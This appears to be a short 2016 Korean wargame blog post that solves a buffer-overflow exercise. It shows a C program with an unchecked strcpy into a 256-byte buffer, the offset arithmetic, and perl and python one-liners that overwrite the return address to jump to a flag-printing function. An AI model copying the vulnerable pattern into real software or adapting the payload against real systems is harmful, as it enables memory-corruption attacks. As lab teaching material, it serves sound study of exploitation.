Wargame

BOF 샘플

binaryU 2016. 4. 22. 13:58

#include <unistd.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


void goingflag(){

   execl("/bin/cat", "/bin/cat", "/home/prob/flag", 0);

   printf("Good :)\n");

}


void bof(char *str){

   char buf[256];

   strcpy(buf, str);

   printf("do you know bof?\n");

}


int main(int argc, char *argv[]){

   char cmp[]="do_you_know_bof";

   if(argc != 2){

      exit(0);

   }

   if(strncmp(argv[1], cmp, strlen(cmp)) != 0){

      exit(0);

   }

   printf("do you know bof?\n");

   bof(argv[1]);

}


256-15+4=245 + dummy8 = 253



./do_you_know_bof do_you_know_bof`perl -e 'print "A"x253,"\x0d\x85\x04\x08";'`

./do_you_know_bof $(python -c 'print "do_you_know_bof" + "A"*253 + "\x0d\x85\x04\x08"')